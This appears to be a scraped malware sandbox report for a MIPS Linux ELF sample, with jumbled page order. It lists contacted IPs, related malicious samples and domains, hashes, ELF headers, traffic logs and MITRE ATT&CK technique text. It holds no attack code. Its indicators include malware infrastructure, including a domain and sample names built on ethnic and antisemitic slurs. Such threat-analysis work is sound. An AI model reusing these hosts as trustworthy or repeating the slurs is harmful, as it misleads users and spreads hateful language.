117.175.162.211	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
53.199.108.138	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
199.34.154.178	unknown	United States	36026	AS-CHI-CORPUS	false
208.178.203.87	unknown	United States	3549	LVLT-3549US	false
100.172.187.187	unknown	United States	21928	T-MOBILE-AS21928US	false
171.19.60.71	unknown	Hungary	3219	HU-GOVNETHungarianGovernmentalIPNetworkHU	false
80.123.110.136	unknown	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
207.12.24.68	unknown	United States	1239	SPRINTLINKUS	false
193.30.119.207	unknown	unknown	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
59.44.169.11	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
219.111.215.198	unknown	Japan	18129	ONIOKAYAMANETWORKINCJP	false
158.136.51.236	unknown	United States	27405	PSCUS	false
197.65.235.2	unknown	South Africa	16637	MTNNS-ASZA	false
153.76.169.65	unknown	United States	14962	NCR-252US	false
157.252.45.33	unknown	United States	3592	TRINCOLL-ASUS	false
100.46.192.248	unknown	United States	14654	WAYPORTUS	false
68.233.16.137	unknown	United States	26689	LIGHTPOINT-COMMUNICATIONSUS	false
23.245.1.235	unknown	United States	18978	ENZUINC-US	false
206.174.97.18	unknown	United States	8047	GCIUS	false
103.33.73.188	unknown	China	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
94.51.254.170	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
126.233.246.65	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
190.91.40.218	unknown	Chile	27925	EntelPCSTelecomunicacionesSACL	false
126.71.91.64	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
173.45.39.67	unknown	United States	33597	ATLANTIC-METRO-COMMUNICATIONS-II-INCUS	false
23.187.178.65	unknown	Reserved	395678	VC-AS-01US	false
133.101.130.63	unknown	Japan	24254	KYOTO-SUKyotoSangyoUniversityJP	false
164.15.65.244	unknown	Belgium	2611	BELNETBE	false
66.55.202.219	unknown	United States	5760	BIDDEFORD1US	false
50.16.236.227	unknown	United States	14618	AMAZON-AESUS	false
81.133.237.21	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
133.148.179.121	unknown	Japan	10021	KVHKVHCoLtdJP	false
76.65.142.44	unknown	Canada	577	BACOMCA	false
91.253.161.68	unknown	Italy	24608	WINDTRE-ASIT	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
213.1.72.60	2vrW5rkBa6	Get hash	malicious	Browse
81.106.160.90	s9WBeaPw46	Get hash	malicious	Browse
157.190.234.145	Si99cjuDJf	Get hash	malicious	Browse
164.219.29.79	x86_64-20220630-1413	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
dogeatingchink.uno	uekXXxUc43.elf	Get hash	malicious	Browse	45.12.253.12
	G7APAyIs9a.elf	Get hash	malicious	Browse	45.12.253.12
	3L7By8x8KC.elf	Get hash	malicious	Browse	157.230.220.122
	uH2CNPK47a.elf	Get hash	malicious	Browse	157.230.220.122
	A6De2hiUgN.elf	Get hash	malicious	Browse	138.68.65.48
	ZRCgFdio2a.elf	Get hash	malicious	Browse	185.225.16.43
	jklarm7.elf	Get hash	malicious	Browse	157.245.102.148
	jklarm.elf	Get hash	malicious	Browse	157.245.102.148

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ATT-INTERNET4US	uekXXxUc43.elf	Get hash	malicious	Browse	69.227.236.85
	G7APAyIs9a.elf	Get hash	malicious	Browse	68.252.41.120
	https://providers.optumserve.com/login/setup	Get hash	malicious	Browse	13.37.25.97
	TyXSHEKOah.elf	Get hash	malicious	Browse	99.148.97.92
	Pyt5lqAgHP.elf	Get hash	malicious	Browse	12.201.230.206
	O1YgQBckEr.elf	Get hash	malicious	Browse	67.118.2.88
	IMQqXz2Nyw.elf	Get hash	malicious	Browse	13.137.169.64
	x3S4za48QS.elf	Get hash	malicious	Browse	108.92.97.231
	rcEe63XVnV.elf	Get hash	malicious	Browse	63.242.119.17
	as.msi	Get hash	malicious	Browse	13.32.27.102
	ohqt5Srs7g.elf	Get hash	malicious	Browse	199.31.161.121
	VtAedZKmqz.elf	Get hash	malicious	Browse	76.232.158.199
	7xt7YvcLod.elf	Get hash	malicious	Browse	68.250.23.84
	4JV1A84sXC.elf	Get hash	malicious	Browse	66.143.172.49
	https://mediafire.omaryemen.app/file/ob6whatsapp-download-apk/	Get hash	malicious	Browse	13.32.27.108
	x3x38db0fa4b8db0333367e9bda3ab68b8042.exe	Get hash	malicious	Browse	13.157.7.54
	x3x38db0fa4b8db0333367e9bda3ab68b8042.x86	Get hash	malicious	Browse	64.218.32.239
	YUI3lBwC8a.elf	Get hash	malicious	Browse	172.125.155.45
	fc3rg4bRFc.elf	Get hash	malicious	Browse	32.100.179.217
	PVbOO02JiF.elf	Get hash	malicious	Browse	75.27.142.22
BOTWUS	VAjvBiGvo8.elf	Get hash	malicious	Browse	146.93.13.86
	nrr0mG1Ntl.elf	Get hash	malicious	Browse	146.93.13.93
	BNZ1YSrXfP.elf	Get hash	malicious	Browse	146.92.154.99
	FoXZiJ8Bwa.elf	Get hash	malicious	Browse	146.93.251.104
	NlF5EBMJtw.elf	Get hash	malicious	Browse	146.92.154.96
	o8xGwc7aHa.elf	Get hash	malicious	Browse	146.92.154.53
	DNpF0fN4SD.elf	Get hash	malicious	Browse	146.93.37.14
	GUlW5Oc3eW.elf	Get hash	malicious	Browse	146.92.178.18
	8vEeXLnxIM	Get hash	malicious	Browse	204.44.5.200
	home.x86	Get hash	malicious	Browse	146.92.154.45
	aqua.mips	Get hash	malicious	Browse	146.92.154.62
	gXSAfhPi2z.dll	Get hash	malicious	Browse	146.92.224.31
	jew.spc	Get hash	malicious	Browse	146.92.166.50
	OhjePc5GBw	Get hash	malicious	Browse	146.92.129.83
	1e1tsmEMft	Get hash	malicious	Browse	146.92.166.20
	crKQZdHWNw	Get hash	malicious	Browse	146.92.154.93
	xd.arm	Get hash	malicious	Browse	146.92.17.151
	pandora.mpsl	Get hash	malicious	Browse	146.93.25.21
	b3astmode.arm	Get hash	malicious	Browse	146.92.129.83
	byOTlj3B33	Get hash	malicious	Browse	146.93.13.49

Process:	/tmp/jOXiR3R48P.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	3.62546486633063
Encrypted:	false
SSDEEP:	6:URgDF8Jj///VUmVbsDF8JyT/VDM/V+4D/VH:IYeJ7umV4eJyRMfF
MD5:	CB635109B6C2AB6BACBEC7605D598A7F
SHA1:	BBCE814A775A82EDEA142A99F43D21C2C08EFF59
SHA-256:	A8B2A38FCFE4BBDAA5508A05846E40A708052E01D617FC062CD51E3FFB600872
SHA-512:	0A29CCA876C41A2F03E0E593704CCB9049AB74CF84474E7D775D3BCBF23A0B80F64836067E8DD2FFF0E04EC0E59D97A287DC294492C8272324398593E7FE7875
Malicious:	false
Reputation:	low
Preview:	400000-418000 r-xp 00000000 fd:00 531606 /tmp/jOXiR3R48P.elf.457000-458000 rw-p 00017000 fd:00 531606 /tmp/jOXiR3R48P.elf.458000-45b000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

Source: jOXiR3R48P.elf	ReversingLabs: Detection: 41%
Source: jOXiR3R48P.elf	Virustotal: Detection: 38%			Perma Link

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 90.156.54.75
Source: unknown	TCP traffic detected without corresponding DNS query: 116.85.158.75
Source: unknown	TCP traffic detected without corresponding DNS query: 146.226.66.87
Source: unknown	TCP traffic detected without corresponding DNS query: 25.220.151.74
Source: unknown	TCP traffic detected without corresponding DNS query: 41.214.119.233
Source: unknown	TCP traffic detected without corresponding DNS query: 97.102.211.54
Source: unknown	TCP traffic detected without corresponding DNS query: 35.187.186.199
Source: unknown	TCP traffic detected without corresponding DNS query: 120.169.12.40
Source: unknown	TCP traffic detected without corresponding DNS query: 79.128.102.121
Source: unknown	TCP traffic detected without corresponding DNS query: 148.173.88.240
Source: unknown	TCP traffic detected without corresponding DNS query: 159.30.75.229
Source: unknown	TCP traffic detected without corresponding DNS query: 99.123.124.129
Source: unknown	TCP traffic detected without corresponding DNS query: 5.89.25.128
Source: unknown	TCP traffic detected without corresponding DNS query: 92.180.92.188
Source: unknown	TCP traffic detected without corresponding DNS query: 23.233.38.200
Source: unknown	TCP traffic detected without corresponding DNS query: 158.172.112.95
Source: unknown	TCP traffic detected without corresponding DNS query: 52.53.179.172
Source: unknown	TCP traffic detected without corresponding DNS query: 178.57.61.127
Source: unknown	TCP traffic detected without corresponding DNS query: 62.250.107.215
Source: unknown	TCP traffic detected without corresponding DNS query: 197.186.246.161
Source: unknown	TCP traffic detected without corresponding DNS query: 206.201.15.232
Source: unknown	TCP traffic detected without corresponding DNS query: 49.81.50.76
Source: unknown	TCP traffic detected without corresponding DNS query: 69.183.252.81
Source: unknown	TCP traffic detected without corresponding DNS query: 88.60.22.70
Source: unknown	TCP traffic detected without corresponding DNS query: 216.35.187.125
Source: unknown	TCP traffic detected without corresponding DNS query: 164.207.50.71
Source: unknown	TCP traffic detected without corresponding DNS query: 60.28.241.152
Source: unknown	TCP traffic detected without corresponding DNS query: 188.189.144.233
Source: unknown	TCP traffic detected without corresponding DNS query: 73.32.89.223
Source: unknown	TCP traffic detected without corresponding DNS query: 146.227.187.67
Source: unknown	TCP traffic detected without corresponding DNS query: 167.146.26.204
Source: unknown	TCP traffic detected without corresponding DNS query: 117.145.202.60
Source: unknown	TCP traffic detected without corresponding DNS query: 32.228.215.37
Source: unknown	TCP traffic detected without corresponding DNS query: 124.222.97.247
Source: unknown	TCP traffic detected without corresponding DNS query: 212.23.112.219
Source: unknown	TCP traffic detected without corresponding DNS query: 125.173.146.143
Source: unknown	TCP traffic detected without corresponding DNS query: 2.180.222.161
Source: unknown	TCP traffic detected without corresponding DNS query: 85.43.29.185
Source: unknown	TCP traffic detected without corresponding DNS query: 108.68.222.14
Source: unknown	TCP traffic detected without corresponding DNS query: 109.240.39.167
Source: unknown	TCP traffic detected without corresponding DNS query: 51.235.166.2
Source: unknown	TCP traffic detected without corresponding DNS query: 37.127.79.247
Source: unknown	TCP traffic detected without corresponding DNS query: 113.35.236.2
Source: unknown	TCP traffic detected without corresponding DNS query: 165.225.166.237
Source: unknown	TCP traffic detected without corresponding DNS query: 63.214.207.252
Source: unknown	TCP traffic detected without corresponding DNS query: 14.96.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 121.105.86.107
Source: unknown	TCP traffic detected without corresponding DNS query: 221.136.61.122

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.72468916301093
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	jOXiR3R48P.elf
File size:	97808
MD5:	22236418d66d092a868814a050662cb6
SHA1:	0bf047cdeb6ce406a32e0c305a2b9089c9e369c3
SHA256:	ebab385a00e909ff7748edeecf15ffceba7748e9b0f9850142fe7ef8d5ed5ffe
SHA512:	4b96f8ec59c601c8f880968beeabf4c617235518f6ad8a1091e22beb6494cc03bf81730f9bce6d7bda7ceb0ef963a3b9f4ec923711f07a1be4e55e5588255a0e
SSDEEP:	1536:+DdgrUgifAhAWUq1gt4h/m4iXGmLl5yDiywPveFpZNzJ:sgr7iIhymO4ajIiywPEDzJ
TLSH:	ADA3E91E7E118FBDF76D823447F78E25939823D627E1C285E19CE9001E6038D646FBA9
File Content Preview:	.ELF.....................@.`...4..{......4. ...(.............@...@....qP..qP..............qT.EqT.EqT......,.........dt.Q............................<...'......!'.......................<...'......!... ....'9... ......................<...'......!........'9A

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x14090	0x0	0x6	AX	16
.fini	PROGBITS	0x4141b0	0x141b0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x414210	0x14210	0x2f40	0x0	0x2	A	16
.ctors	PROGBITS	0x457154	0x17154	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45715c	0x1715c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x457164	0x17164	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x457168	0x17168	0x158	0x0	0x3	WA	4
.data	PROGBITS	0x4572c0	0x172c0	0x400	0x0	0x3	WA	16
.got	PROGBITS	0x4576c0	0x176c0	0x48c	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x457b4c	0x17b4c	0x1c	0x0	0x10000003	WAp	4
.bss	NOBITS	0x457b70	0x17b4c	0x22e0	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x990	0x17b4c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x17b4c	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x17150	0x17150	5.7489	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x17154	0x457154	0x457154	0x9f8	0x2cfc	3.9919	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Start time:	18:51:07
Start date:	31/01/2023
Path:	/tmp/jOXiR3R48P.elf
Arguments:	/tmp/jOXiR3R48P.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report jOXiR3R48P.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0NrQuE (deleted)

/tmp/qemu-open.0SRQTC (deleted)

/tmp/qemu-open.0conFG (deleted)

/tmp/qemu-open.0deQ2C (deleted)

/tmp/qemu-open.0lONRG (deleted)

/tmp/qemu-open.14pymD (deleted)

/tmp/qemu-open.1Ek5oE (deleted)

/tmp/qemu-open.1Un4BE (deleted)

/tmp/qemu-open.1UsIsE (deleted)

/tmp/qemu-open.22Lg4D (deleted)

/tmp/qemu-open.28apZE (deleted)

/tmp/qemu-open.2EBMcG (deleted)

/tmp/qemu-open.2WCAVD (deleted)

/tmp/qemu-open.2hXOnG (deleted)

/tmp/qemu-open.2qAyhD (deleted)

/tmp/qemu-open.2t7R9E (deleted)

/tmp/qemu-open.2x81cD (deleted)

/tmp/qemu-open.3Le1QC (deleted)

/tmp/qemu-open.3Orw5F (deleted)

/tmp/qemu-open.40sbdD (deleted)

/tmp/qemu-open.41QNpG (deleted)

/tmp/qemu-open.41tCzE (deleted)

/tmp/qemu-open.45lxIE (deleted)

/tmp/qemu-open.4GBiuE (deleted)

/tmp/qemu-open.4JhBVF (deleted)

/tmp/qemu-open.4c0TWE (deleted)

/tmp/qemu-open.4yhSQE (deleted)

Linux Analysis Report
jOXiR3R48P.elf